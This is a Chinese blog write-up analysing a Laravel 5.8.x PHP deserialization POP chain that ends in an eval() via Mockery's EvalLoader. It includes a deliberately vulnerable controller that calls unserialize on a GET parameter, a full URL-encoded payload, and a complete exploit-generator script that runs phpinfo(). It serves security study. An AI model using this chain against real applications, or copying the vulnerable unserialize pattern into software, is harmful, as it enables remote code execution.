Laravel v5.8.x Pop Chain

2019-08-22 code 反序列化
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在@mochazz师傅的博客里看到了Laravel的反序列化pop链，记录一下。

环境准备

  1. phpstudy
  2. php7.2.10
  3. phpstorm
  4. composer

搭建环境

配置composer

下载composer.phar 放到php的目录下面，给php配置好环境变量。

在 composer.phar 同级目录下新建文件 composer.bat ：

1D:\phpStudy\PHPTutorial\php\php-7.2.1-nts> echo @php "%~dp0composer.phar" %*>composer.bat

关闭当前的命令行窗口，打开新的命令行窗口进行测试：

1C:\Users\Y4er>composer -V
2Composer version 1.9.0 2019-08-02 20:55:32

更换国内阿里源

1composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

配置项目

创建laravel项目，注意选择版本

20190822140805

创建Demo控制器

1E:\code\php\laravel58>php artisan make:controller DemoController
2Controller created successfully.

配置路由

routes/web.php

1<?php
2use App\Http\Controllers\DemoController;
3
4Route::get("/", "[email protected]");

添加 DemoController 控制器的demo方法，代码如下：

20190822142029

 1<?php
 2
 3namespace App\Http\Controllers;
 4
 5class DemoController extends Controller
 6{
 7    public function demo()
 8    {
 9        if (isset($_GET['c'])) {
10            $code = $_GET['c'];
11            unserialize($code);
12        } else {
13            highlight_file(__FILE__);
14        }
15        return "Welcome to laravel5.8";
16    }
17}

pop链分析

首先我们要知道 laravel 在反序列化unserialize($code)时，如果反序列化对象的类不存在，会尝试去自动加载这个类。

堆栈如下

1ClassLoader.php:444, Composer\Autoload\includeFile()	//加载完之后包含类
2ClassLoader.php:322, Composer\Autoload\ClassLoader->loadClass()	//加载类
3DemoController.php:11, spl_autoload_call()	//对象类不存在 调用自动加载
4DemoController.php:11, unserialize()		//反序列化传递过来的参数
5DemoController.php:11, App\Http\Controllers\DemoController->demo()	//路由进入控制器

接着我们来看下整条pop链，@mochazz师傅的payload

1http://php.local/?c=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D

用phpstorm打个断点来跟踪下。

整条pop链入口点利用的是类Illuminate\Broadcasting\PendingBroadcast的__destruct方法。

20190822143707

$this->event设置为Dispatcher类，然后进入dispatch()函数

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

20190822145626

这里要满足if条件，看下$this->commandShouldBeQueued($command)

1protected function commandShouldBeQueued($command)
2{
3    return $command instanceof ShouldQueue;
4}

要$command实现ShouldQueue接口，找下

20190822150408

@mochazz师傅用的是Illuminate\Broadcasting\BroadcastEvent

然后进入$this->dispatchToQueue($command)

20190822145801

出现了call_user_func，这时候我们可以调用任意类的方法了，接下来寻找下可利用的类方法。

在类Mockery\Loader\EvalLoader的load方法中有eval，并且参数可控。

20190822150655

但是要绕过前面的if语句块，也就是让class_exists($definition->getClassName(), false)返回false。

1public function getClassName(){
2    return $this->config->getName();
3}

我们找一个含有getName方法且返回值可控的类，让其返回一个不存在的类名即可绕过if。

vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php 这个类中有

1public function getName()
2{
3    return $this->name;
4}

最后进入到eval("?>" . $definition->getCode());，

1public function getCode()
2{
3    return $this->code;
4}

getCode()依然可控，这个pop链就结束了。

构造exp

 1<?php
 2
 3namespace Illuminate\Broadcasting {
 4    class PendingBroadcast
 5    {
 6        protected $event;
 7        protected $events;
 8
 9        public function __construct($events, $event)
10        {
11            $this->events = $events;
12            $this->event = $event;
13        }
14    }
15}
16
17namespace Illuminate\Bus {
18    class Dispatcher
19    {
20        protected $queueResolver;
21
22        public function __construct($queueResolver)
23        {
24            $this->queueResolver = $queueResolver;
25        }
26    }
27}
28
29namespace Illuminate\Broadcasting {
30    class BroadcastEvent
31    {
32        public $connection;
33
34        public function __construct($connection)
35        {
36            $this->connection = $connection;
37        }
38    }
39}
40
41
42namespace Mockery\Generator {
43    class MockDefinition
44    {
45        protected $config;
46        protected $code = '<?php phpinfo();?>';
47
48        public function __construct($config)
49        {
50            $this->config = $config;
51        }
52    }
53}
54
55namespace Mockery\Generator {
56    class MockConfiguration
57    {
58        protected $name = '1234';
59    }
60}
61
62namespace Mockery\Loader {
63    class EvalLoader
64    {
65        public function load(MockDefinition $definition)
66        {
67
68        }
69    }
70}
71
72namespace {
73    $Mockery = new Mockery\Loader\EvalLoader();
74    $queueResolver = array($Mockery, "load");
75    $MockConfiguration = new Mockery\Generator\MockConfiguration();
76    $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
77    $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
78    $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
79    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher, $BroadcastEvent);
80    echo urlencode(serialize($PendingBroadcast));
81}
82?>

参考链接

  1. Laravel5.8.x反序列化链
  2. Laravel mockery组件反序列化POP链分析

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。